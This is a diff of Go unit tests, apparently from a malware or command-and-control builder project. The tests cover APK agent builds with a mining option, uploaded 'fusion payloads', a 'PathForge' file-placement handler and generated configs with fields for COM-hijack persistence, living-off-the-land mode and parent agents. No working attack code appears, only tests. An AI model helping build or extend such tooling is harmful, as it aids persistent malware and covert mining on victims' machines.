func TestDownloadBuildArtifactAPK(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
dataDir := t.TempDir()
|
||||
buildID := "apk-dl-1"
|
||||
apkName := "agent-tablet.apk"
|
||||
apkPath := filepath.Join(dataDir, "builds", buildID, apkName)
|
||||
if err := os.MkdirAll(filepath.Dir(apkPath), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
apkContent := []byte("PK\x03\x04fake-apk")
|
||||
if err := os.WriteFile(apkPath, apkContent, 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, FileName: apkName, FilePath: apkPath, Platform: "android", CreatedAt: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
|
||||
|
||||
// Primary build download route
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/download", nil)
|
||||
rctx := chi.NewRouteContext()
|
||||
rctx.URLParams.Add("id", buildID)
|
||||
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
|
||||
rec := httptest.NewRecorder()
|
||||
h.DownloadBuild(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("download status=%d", rec.Code)
|
||||
}
|
||||
if rec.Body.String() != string(apkContent) {
|
||||
t.Fatalf("apk download body mismatch")
|
||||
}
|
||||
if !strings.Contains(rec.Header().Get("Content-Disposition"), apkName) {
|
||||
t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
|
||||
}
|
||||
|
||||
// Named artifact route (same file in build dir)
|
||||
req2 := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+apkName, nil)
|
||||
rctx2 := chi.NewRouteContext()
|
||||
rctx2.URLParams.Add("id", buildID)
|
||||
rctx2.URLParams.Add("name", apkName)
|
||||
req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rctx2))
|
||||
rec2 := httptest.NewRecorder()
|
||||
h.DownloadBuildArtifact(rec2, req2)
|
||||
if rec2.Code != http.StatusOK {
|
||||
t.Fatalf("artifact status=%d", rec2.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteApkConfigJSONFilePermissions(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("Windows umask maps 0644 writes to 0666 — POSIX perm bits checked on Linux CI")
|
||||
}
|
||||
h, database := testHandlerDB(t)
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
req := &BuildRequest{WorkerName: "perm-tab", ServerURL: "http://10.0.0.3:8989", MiningDisabled: true}
|
||||
if err := h.writeApkConfigJSON(req, "perm-build"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cfgPath := filepath.Join(assetsDir, "config.json")
|
||||
info, err := os.Stat(cfgPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if info.Mode().Perm() != 0644 {
|
||||
t.Fatalf("config.json perm=%o want 0644", info.Mode().Perm())
|
||||
}
|
||||
dirInfo, err := os.Stat(assetsDir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dirInfo.Mode().Perm()&0777 != 0755 {
|
||||
t.Fatalf("assets dir perm=%o want 0755", dirInfo.Mode().Perm()&0777)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSaveUploadedFusionPayloadNilHeader(t *testing.T) {
|
||||
h := &Handler{dataDir: t.TempDir()}
|
||||
_, _, err := h.saveUploadedFusionPayload(nil, nil)
|
||||
|
||||
@@ -12,6 +12,7 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestPathForgePlacedExcludesHintFile(t *testing.T) {
|
||||
@@ -86,6 +87,70 @@ func TestPathForgePlacedExcludesHintFile(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestPathForgeCancelInFlightWalk cancels the request context while the walk is
|
||||
// running (not pre-cancelled) and verifies the handler returns promptly with a
|
||||
// walk error recorded.
|
||||
func TestPathForgeCancelInFlightWalk(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
for i := 0; i < 50; i++ {
|
||||
sub := filepath.Join(root, fmt.Sprintf("dir%d", i))
|
||||
if err := os.MkdirAll(sub, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
name := fmt.Sprintf("clip%d.mkv", i)
|
||||
if err := os.WriteFile(filepath.Join(sub, name), []byte("data"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) +
|
||||
`","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
h := NewPathForgeHandler(t.TempDir())
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
||||
req = req.WithContext(ctx)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
h.ServeHTTP(rec, req)
|
||||
close(done)
|
||||
}()
|
||||
|
||||
time.Sleep(15 * time.Millisecond)
|
||||
cancel()
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(3 * time.Second):
|
||||
t.Fatal("handler did not return after in-flight context cancel")
|
||||
}
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var res PathForgeResult
|
||||
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
||||
t.Fatalf("decode: %v", err)
|
||||
}
|
||||
hasWalkErr := false
|
||||
for _, e := range res.ErrorList {
|
||||
if strings.Contains(e, "walk error") || strings.Contains(e, context.Canceled.Error()) {
|
||||
hasWalkErr = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !hasWalkErr && res.Total == 50 && res.Placed > 0 {
|
||||
t.Log("walk finished before cancel — acceptable on fast filesystems")
|
||||
} else if !hasWalkErr && res.Total < 50 {
|
||||
t.Logf("partial walk before cancel: total=%d placed=%d", res.Total, res.Placed)
|
||||
} else if !hasWalkErr {
|
||||
t.Errorf("expected walk error or partial progress after cancel; total=%d errors=%d list=%v",
|
||||
res.Total, res.Errors, res.ErrorList)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPathForgeContextCancel verifies that cancelling the request context stops
|
||||
// the walk gracefully without hanging or panicking. A pre-cancelled context
|
||||
// causes the walk closure to exit immediately on the first iteration.
|
||||
|
||||
@@ -78,8 +78,8 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
|
||||
if !strings.Contains(src, "COMHijackPersist") {
|
||||
t.Error("expected COMHijackPersist field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "LinuxLOTLMode") {
|
||||
t.Error("expected LinuxLOTLMode field in generated config")
|
||||
if !strings.Contains(src, "ParentAgentID") {
|
||||
t.Error("expected ParentAgentID field in generated config")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user